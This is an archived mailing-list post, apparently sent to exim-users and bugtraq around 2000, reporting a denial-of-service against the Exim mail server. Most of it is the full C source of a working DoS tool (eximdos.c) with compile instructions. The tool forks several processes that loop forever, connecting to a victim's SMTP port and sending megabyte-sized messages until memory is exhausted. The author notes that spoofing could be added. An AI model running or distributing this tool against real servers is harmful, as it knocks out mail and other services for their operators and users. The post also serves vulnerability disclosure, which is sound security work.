[Exim] Exim DoS - Delaying system performance / system crash…

Pàgina inicial
Delete this message
Reply to this message
Autor: Chris Knipe
Data:  
A: exim-users, technic, abuse, abuse, abuse, news, bugtraq, patrick
Assumpte: [Exim] Exim DoS - Delaying system performance / system crash.
Hi all ...

For the first time since I have been using the popular Exim mailer daemon,
I have come accross an possible (and fairly serious) DoS.

It is quite simple basicaly... And not all of it is my work. It is an
sendmail DoS that got slightly modified, and seems to work well with Exim.
It delays system performance considerably, allowing attackers to use the
delay in performance to possibly gain access to the system.

My PC at home on which I tested this, is an 200MMX with 128MB ram. Exim,
syslogd, klogd, squid, and httpd terminated after running the exploit for a
few minutes, in which time, my system literally came to an standstil. It
was running out of memory with ease, and as mentioned, all the various
daemons crashed!

Hope you can see a need of this. It seems only to work local though. I am
running on RedHat 6.0 if that helps aswell :) I am *NOT* an programmer, I
stumbled apon this by accident, I will however discuss this with ppl that
are interested in seeing and investicating these attacks on Exim. As for
flames and other stupid comments, all I can say is </care> for those that
know what I mean. If you think this is stupid, delete the email, I really
*DO* care.

As far as logging goes, exim alone, detects nothing (on standard config),
all that is noted, is the panic log:

2000-01-04 12:11:38 failed to malloc 82184 bytes of memory: called from line 109 of store.c
2000-01-04 12:11:57 failed to malloc 85768 bytes of memory: called from line 109 of store.c
2000-01-04 12:11:57 failed to malloc 84232 bytes of memory: called from line 109 of store.c
2000-01-04 12:11:57 failed to malloc 100360 bytes of memory: called from line 109 of store.c
2000-01-04 12:11:57 failed to malloc 97288 bytes of memory: called from line 109 of store.c
2000-01-04 12:21:20 failed to malloc 66568 bytes of memory: called from line 109 of store.c
2000-01-04 12:21:20 failed to malloc 81416 bytes of memory: called from line 109 of store.c
2000-01-04 12:21:20 failed to malloc 64776 bytes of memory: called from line 109 of store.c
2000-01-04 12:21:20 failed to malloc 82696 bytes of memory: called from line 109 of store.c
2000-01-04 12:21:20 failed to malloc 107272 bytes of memory: called from line 109 of store.c

syslog and stuff still however logs the ip address and various other
details with indend. So the attack is traceable I guess, although spoofing
code can always be added to the DoS.

Compile with gcc -O eximdos.c -o eximdos

The DoS: (eximdos.c)
~~~~~~~~~~~~~~~~~~~~
/*
By Chris Knipe <cgknipe@???>

Exim DoS (Tested With Exim 3.03);

Tue Jan 4 12:14:56 SAST 1999
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

#undef VERBOSE

#define MORECONN

#define RCPT_TO "foo@???"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE   1048576         /* df* control file size */
#define PORT    25


char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}


int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];
    
fprintf(stderr,"Exim DoS by Chris Knipe [cgknipe@???]\n");

if (argc<2) usage(argv[0]);

fprintf(stderr,">Preparing address. \n");

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

fprintf(stderr,">Getting info from DNS.\n");

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

fprintf(stderr,">Official name of host: %s\n",host->h_name);

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
                               (unsigned char)host->h_addr[1],
                               (unsigned char)host->h_addr[2],
                               (unsigned char)host->h_addr[3]);


}
else sprintf(hostaddr,"%s",hostname);

#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) ==
-1) {
perror("connect()");
exit(errno);
}

fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:hax0r@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

fprintf(stderr,">Connection closed succesfully.\n");
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
-- SNIP --

Exim itself (appart from the memory allocations), doesn't seem to suffer at
all that much. The system in general (ESPECIALLY KLOGD), goes bye bye!!

Regards
Chris Knipe
Cel: (083) 430 8151
Freelance Internet Developer, Administrator & Speaker